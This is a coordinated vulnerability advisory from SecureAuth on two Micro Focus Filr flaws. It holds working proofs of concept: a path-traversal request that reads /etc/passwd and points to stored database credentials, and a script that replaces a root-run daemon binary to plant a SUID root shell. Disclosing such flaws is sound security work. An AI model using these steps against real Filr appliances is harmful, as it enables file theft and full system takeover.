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Micro Focus Filr Multiple Vulnerabilities

1. Advisory Information

Title: Micro Focus Filr Multiple Vulnerabilities
Advisory ID: SAUTH-2019-0001
Advisory URL:
Date published: 2019-02-20
Date of last update: 2019-02-20
Vendors contacted: Micro Focus
Release mode: Coordinated release

2. Vulnerability Information

Class: Path traversal [CWE-22], Permissions, Privileges, and Access Control [CWE-264]
Impact: Security bypass, Information leak
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2019-3474, CVE-2019-3475

3. Vulnerability Description

Novell (now part of Micro Focus [1]) website states that:

Micro Focus Filr [2] provides file access and sharing, and lets users access their home directories and network folders from desktops, mobile devices, and the Web. Users can also synchronize their files to their PC or Mac. Changes that they make to downloaded copies are kept in sync with the originals on their network file servers. And finally, users can also share files internally and externally, and those with the share can collaborate with each other by commenting on the files.

A vulnerability was found in the Micro Focus Filr Appliance, which would allow an attacker with regular user access to read arbitrary files of the filesystem. Furthermore, a vulnerability in the famtd daemon could allow a local attacker to elevate privileges.

4. Vulnerable Packages

  • Micro Focus Filr
  • Older versions are probably affected too, but they were not checked.

5. Vendor Information, Solutions and Workarounds

Micro Focus released Filr 3.0 Security Update 6 that addresses the reported issues:

Also, Micro Focus published the following Security Notes:

6. Credits

These vulnerabilities were discovered and researched by Matias Choren from SecureAuth. The publication of this advisory was coordinated by Leandro Cuozzo from SecureAuth Advisories Team.

7. Technical Description / Proof of Concept Code

7.1. Path Traversal

[CVE-2019-3474] The filename parameter of the /ssf/f/viewFile endpoint is vulnerable to Path Traversal attacks. An authenticated, low-privileged user may be able to abuse this functionality in order to read arbitrary files on the filesystem.

Proof of Concept:

  1. As an authenticated user, upload a sample PDF file in the ‘My Files’ section.
  2. After the upload finishes, click on the small arrow next to the file -> ‘View Details’.
  3. The browser will issue a few requests to the web application, one of them being the one used for displaying the thumbnail of the file we’ve just uploaded. This request has the following structure:
    GET /ssf/s/viewFile?binderId=44&entryId=1&entityType=folderEntry&fileId=8a82ada06851d92d016852b727f26b1b&viewType=image&filename=t154758084657912375035546628304890001.jpg
  4. If the viewType parameter is set to image, as in this case, we can escape the current directory and include arbitrary files, as long as they are readable by the wwwrun user (the user Apache Tomcat is currently running as). For example, we could read the /etc/passwd file:
    GET /ssf/s/viewFile?binderId=44&entryId=1&entityType=folderEntry&fileId=8a82ada06851d92d016852b727f26b1b&viewType=image&filename=../../../../../../../../../../../etc/passwd HTTP/1.1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Cookie: JSESSIONID=803689DA9BA5DA9CBA2B7DD246A50531
    Connection: close
    HTTP/1.1 200 OK
    Expires: Thu, 01 Jan 1970 00:00:00 GMT
    X-UA-Compatible: IE=Edge
    X-Content-Type-Options: nosniff
    Cache-Control: no-cache
    Strict-Transport-Security: max-age=0
    X-Frame-Options: SAMEORIGIN
    X-XSS-Protection: 1; mode=block
    Content-Type: image/jpeg
    Date: Mon, 21 Jan 2019 14:53:37 GMT
    Connection: close
    Server: Filr
    Content-Length: 1506
  5. Also, an interesting file to look for would be /vastorage/conf/ This zip file contains a bunch of different configuration files, including which, among other things, defines connection parameters such as the username and password (base64 encoded) for the MySQL database:

7.2. Local Privilege Escalation

[CVE-2019-3475] As per the description: ‘novell-famtd provide CIFS & NCP file access support for Filr server to request and respond to HTTP request coming from Filr Client/ Browser’. This daemon runs during startup and can be abused to elevate privileges on a Filr appliance.

Proof of Concept:

  1. The famtd binary located at /opt/novell/filr/bin/ and its containing folder are owned by the wwwrun user, as can be seen next:
    wwwrun@filr:/opt/novell/filr/bin> ls -lha
    total 196K
    drwxr-x--- 2 wwwrun www 4,0K ene 21 17:22 .
    drwxr-x--- 8 wwwrun www 4,0K ene 14 18:41 ..
    -rwxr-x--- 1 wwwrun www  23K feb  8  2017 famtconfig
    -rwxr-x--- 1 wwwrun www 117K ene 14 18:19 famtd
    -rwxr-x--- 1 wwwrun www  905 feb  8  2017
    -rwxr-x--- 1 wwwrun www  31K jun 21  2018 kablink-teaming-tools.jar
  2. This binary is referenced and later executed in the /etc/init.d/novell-famtd init script, meaning that it will run with root privileges on startup:
    # /etc/init.d/novell-famtd
    # Check for missing binaries (stale symlinks should not happen)
    # Note: Special treatment of stop for LSB conformance
    ## Start daemon with startproc(8). If this fails
    ## the return value is set appropriately by startproc.
    ulimit -c unlimited
    /sbin/startproc $FAMT_BIN
  3. If an attacker manages to run arbitrary commands on the Filr appliance as the wwwrun user, they could replace the /opt/novell/filr/bin/famtd binary with, for example, a custom bash script that writes a SUID backdoor on the filesystem:
    # C snippet for setting group and user identity to 'root'
    /bin/cat <<EOM >$FILE
    #include <unistd.h>
    int main(void) {
            execl("/bin/bash", "bash", 0);
    # Compile it
    gcc /tmp/exp.c -o /tmp/exp
    # Set suid bit
    chmod -c 4755 /tmp/exp
    # Call the original famtd daemon
  4. After a server reboot, we can run /tmp/exp and get root privileges on the server:
    wwwrun@filr:/tmp> id
    uid=30(wwwrun) gid=8(www) groups=8(www)
    wwwrun@filr:/tmp> ls -lha
    total 96K
    drwxrwxrwt 18 root         root         4,0K ene 21 17:15 .
    drwxr-xr-x 27 root         root         4,0K ene 21 14:14 ..
    -rwsr-xr-x  1 root         root          12K ene 21 17:14 exp
    -rw-r--r--  1 root         root          137 ene 21 14:14 exp.c
    wwwrun@filr:/tmp> ./exp
    filr:/tmp # id
    uid=0(root) gid=0(root) groups=0(root),8(www)
    filr:/tmp #

8. Report Timeline

  • 2019-01-23: SecureAuth sent an initial notification to Micro Focus including a draft advisory.
  • 2019-01-23: Micro Focus acknowledged reception of initial contact.
  • 2019-01-24: Micro Focus confirmed the reported vulnerabilities and informed that they were aiming to deliver a patch around mid February.
  • 2019-01-23: SecureAuth thanks the reply.
  • 2019-02-11: SecureAuth asked for an update.
  • 2019-02-11: Micro Focus replied saying that they were expecting to release the patch by the end of the week.
  • 2019-02-11: SecureAuth proposed to set the publication date for next week.
  • 2019-02-13: Micro Focus confirmed February 20th as the release date.
  • 2019-02-20: Advisory SAUTH-2019-0001 published.

9. References


10. About SecureAuth Labs

SecureAuth Labs, the research arm of SecureAuth Corporation, is charged with anticipating the future needs and requirements for information security technologies. We conduct research in several important areas of computer security, including identity-related attacks, system vulnerabilities and cyber-attack planning. Research includes problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. We regularly publish security advisories, primary research, technical publications, research blogs, project information, and shared software tools for public use at

11. About SecureAuth

SecureAuth is leveraged by leading companies, their employees, their customers and their partners to eliminate identity-related breaches. As a leader in access management, SecureAuth is powering an identity security revolution by enabling people and devices to intelligently and adaptively access systems and data, while effectively keeping bad actors from doing harm. By ensuring the continuous assessment of risk and enablement of trust, SecureAuth’s highly flexible platform makes it easier for organizations to prevent the misuse of credentials. To learn more, visit, call (949) 777-6959, or email us at

12. Disclaimer

The contents of this advisory are copyright (c) 2019 SecureAuth, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License:

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